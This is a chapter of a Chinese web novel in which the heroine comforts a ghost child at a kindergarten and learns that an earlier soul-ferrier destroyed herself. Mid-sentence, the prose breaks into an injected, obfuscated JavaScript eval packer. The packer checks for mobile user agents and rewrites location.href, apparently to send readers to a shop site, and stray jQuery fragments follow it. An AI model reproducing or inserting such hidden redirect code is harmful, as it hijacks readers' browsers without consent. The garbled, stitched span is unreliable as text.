风竹小说 > 都市言情 > 灵魂引渡黑工记 > 48.沉默的幼儿园(十五)

48.沉默的幼儿园(十五)

    对话结束,幼儿园重回寂静。

    和钟槐的视频通话已经关闭,白心坐在海洋球上,脑子里不断冒出刚才少女在海边说的话。

    因为他上辈子是一只狗啊……他是一只狗啊……一只狗……啊……

    原来不是什么特殊爱好啊。白心闭上眼睛,右手抚额,为自己之前某种不可说的想法和猜测感到微微惭愧。

    一个猴一种拴法,一只狗一套训法。白心睁开眼,突然觉得好笑,眼前浮现出王二的人模狗样以及钟槐训犬时威风凛凛的样子。

    般配。

    “痛。”小孩又突然说话。

    白心眉头一皱,感觉到心里一紧,像有一只手狠狠攥住了她的心脏。

    她低下头,看着旁边把手伸进衣服,开始挠自己的豆思红。

    好奇怪。

    白心一只手捂着心口,另一只手把住小孩的手臂阻止她继续挠。她皱着眉,仔细分辨着心里这股突如其来的感觉。

    读心。白心静静感受着,发现她的技能不是传统意义上的读心、简单听取心声。

    她的心里充满了一种由害怕、失落和难过组成的感觉,一种陌生的、不属于她的、但是又有一点点熟悉的感觉。

    这种感觉牢牢地攀在她的心里,和她自己的实时感受合二为一。

    与其说读心,白心想,这更像是……共情。

    只是这种“共情”比起做人的时候更深刻,不是简单共鸣别人的情绪,而是仿佛成为了灵魂本身,直接感受到其心里最深的执念。

    豆思红的那句“妈妈”也不是一句清晰的声音,而是突然在脑子里冒出来的一种没有声音的呼喊。

    豆思红之所以是白色的灵魂,是因为执念在她的潜意识里。

    白心明白了。豆思红不知道自己在想妈妈,她甚至不明白发生了什么。

    妈妈在她的潜意识里,在她的灵魂种子里,在她的本能渴望里。

    白心认真辨认着,一边看着小孩的马尾一边继续思索。

    幸福小区。

    白心突然想起昨晚在幸福小区的经历,她的心里也充满了没来由的剧痛……那会不会就是那个S级恶灵的心声和执念,她想。

    “痛。”

    豆思红还是说着这一个字。

    白心又感觉心里猛地一疼,一种不由自主想哭的感觉袭来。

    白心放开握着小孩的手,两只手从后背夹住她的嘎吱窝,一个翻身就把她翻了过来,小孩就坐在了白心的腿上,两个人更近距离地面对面了。

    “不痛不痛,”白心抱着豆思红,脸颊贴住小孩的额头,轻声哄道,“想妈妈了是不是。”

    她一只手拢着小孩,另一只手在她的后背轻抚。她没做过母亲,也几乎不跟小孩接触,只能努力学着之前李婧哄孩子的样子哄她。

    听到妈妈,豆思红的眼睛终于亮了一下,说出了痛以外的另外一个字:

    “嗯。”

    白心感受到心里那种难过的感觉逐渐被一种温暖的安全的感觉替代。她明白,豆思红想起妈妈,就是这样的感觉。

    万籁俱静,月明星稀,在这个残旧的幼儿园里,一大一小两个灵魂互相依偎,心里想着同一个人。

    天上的星星不说话,地上的娃娃想妈妈。白心抱着豆思红,终于想起刚才那种有点熟悉的痛的感觉是什么了。

    是她曾经在这里上学,每一天放学时的感觉。

    其他的小朋友有爸爸接,或者有妈妈接,甚至是爸爸妈妈一起来接,但是她没有。年纪尚幼的她不懂什么是羡慕,只是本能地感到失落和难过,她每天每天站在铁门前,日复一日等待一个熟悉的身影到来。

    妈妈。白心的脑海又浮现出梦里的那个女人,她的鼻子一酸,不受控制地就要流下泪来。

    很奇怪啊,白心猛地吸了吸鼻子,把眼泪吸回去,明明是豆思红在想妈妈,怎么她也想起了她。

    “豆思红,”白心的脸离开小孩的额头,笑着看着她的眼睛,“你是叫豆思红吗?”

    小孩仿佛已经接受了白心,又或者是白心的扎头发、拥抱等一系列行为让她想起了妈妈,让她找回了熟悉感和安全感,此时此刻她的表情已经没有之前那样的麻木了。

    “嗯,”豆思红回答,顿了顿,又说,“豆豆。”

    “豆豆?”白心惊喜地看着愿意开始说话的小孩,乘胜追击问道,“你的小名叫豆豆?”

    “嗯。”

    豆思红再次回答。

    白心的手腕猛地一震,熟悉的女声响起:“任务目标已完成认证,豆思红,女,3岁半,死于刺伤,功德120点。”

    白心抱着豆思红,看见小孩的眼睛亮晶晶的,似乎是对手环的声音很感兴趣。

    “喂,”白心立即抬起手臂,说道,“唱首歌听听。”

    这才是你该唱歌的时候。白心想,之前不该唱的时候乱唱,现在该唱了反而没点眼力见了。

    “好的主人,”清脆又甜美十分适合唱儿歌的声音再次响起,“叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~~~”

    手环还是唱着这首歌,白心感到一阵无奈,正想切换歌曲,就看见豆思红竟然开始跟着音乐摆动、手舞足蹈了起来。

    不仅如此,周围也猛地一亮,白心朝旁边看去,那些墙壁上的花草动物又飘了出来,不一会儿就飘到了她们这边,绕着整个海洋球泳池旋转。

    白心坐在五颜六色的球上,前面是正在跳舞的小孩,周围是正在跳舞的小花小草小动物,那只小象的表情还是那么狰狞,恐怖地笑着,但是白心却没有昨天的不适了。

    她的心里一阵雀跃,豆思红高兴的心情也影响了她,一种单纯的、由衷的快乐在她的心里环绕着。

    她想起来了。

    这是蓝天幼儿园的放学铃声。

    白心感受着这股快乐,脑海深处的记忆浮现。她想起来了,为了区分和旁边小学的放学铃,蓝天幼儿园用的不是最常见的Goingho的铃声,而是好运来。

    那个时候,外婆总会姗姗来迟,直到整个铃声反复循环到结束,才会匆匆赶过来接她回家。

    怪不得豆思红会这么高兴。白心看着面前兴奋不已的小孩,明白这个铃声响起,就意味着要放学了,放学,就可以看见妈妈了。

    但是,她有一点奇怪。

    “喂,”白心打断手环,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16925266|189383||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    问道,“好运来是你的初始铃声吗?”

    手环停止歌唱,回答道:“是的主人,所有引渡人的初始铃声都是这首歌,您也可以自行选择歌曲。”

    钟榆。白心皱着眉头,想起了她,引渡人001号。

    她们都在蓝天幼儿园上过学。

    是巧合吗?白心的心跳忽然漏了一拍,赶紧问道:“帮我搜索引渡人001号的全部资料。”

    手环沉默了几秒,回答道:“抱歉主人,001号的全部资料皆已封存,未检索到相关结果。”

    封存?白心的眉心一跳,钟榆的资料被封存了,为什么?

    没有了音乐,豆思红开始变得焦躁不安,在白心的怀里扭动起来。白心的思绪被打断,赶紧抱紧怀中的小孩,对着手环说道:“帮我给土地婆打个视频电话。”

    “好的主人。”手环立刻回答,开始拨打朱萸的电话。

    等待拨通的间隙,白心忽然觉得一阵巨大的疲惫袭来。像上了一天班之后被掏空的那种感觉,让她十分疲劳且难受。

    怎么这技能还耗蓝吗?白心看着屏幕想。

    视频接通,屏幕里还是朱萸慵懒美丽的脸,她看着白心一脸疲态地抱着小女孩,笑了:“你还挺会哄小孩的啊。”

    白心此刻没有跟朱萸贫嘴的心情,立即问道:“为什么钟榆的资料被封存了?”

    朱萸一愣,没想到白心梅开二度,再次提起了钟榆。

    白心看着愣神的朱萸,再次问道:“为什么我搜不到她的任何资料?”

    朱萸也看着白心,屏幕里女孩十分瘦弱,眼神却很坚定,她想,和钟榆一样。

    和十年前一样。

    “因为她是一个失败的案例。”朱萸回答。

    “失败的案例?”白心不禁皱眉,没有明白这句话。

    朱萸叹了口气,说道:“引渡人计划是以她开始的,目的是增加地府引渡亡魂的人手。”

    “但是她引渡了一些亡魂之后,”她说,“突然拒绝了继续参与这个计划。”

    “为什么?”白心问道。

    朱萸摇摇头:“不知道。按理说这是一举两得的事,帮助地府引渡亡魂,同时自己还能积攒功德,没有任何坏处,但是她就是突然不干了。”

    白心听着朱萸的话,心里也疑问渐起,她没有说话,等着朱萸继续说。

    朱萸:“本来还好好的,直到进地府的前一天……”

    “前一天怎么了?”

    “那天之后,她就可以进地府投胎了,”朱萸的眼睛向上抬,逐渐陷入回忆,“那时她已经停止引渡亡魂半个月了,但是她的功德已经足够让她进地府参与投胎了,而且说不定来世还能投到钟家,做钟家的后人。”

    “她虽然功德低下,但福泽深厚,领导们都很喜欢她。”朱萸叹了口气,语气轻柔。

    白心越听越奇怪,这故事环环相扣却自相矛盾,她不禁追问道:“所以呢,发生了什么,她没有去投胎吗?”

    朱萸摇摇头:“她不是没去投胎。”

    “那是什么?”

    朱萸眉头一皱,咽了口口水,停了许久,才说:

    “她自行殒灭了。”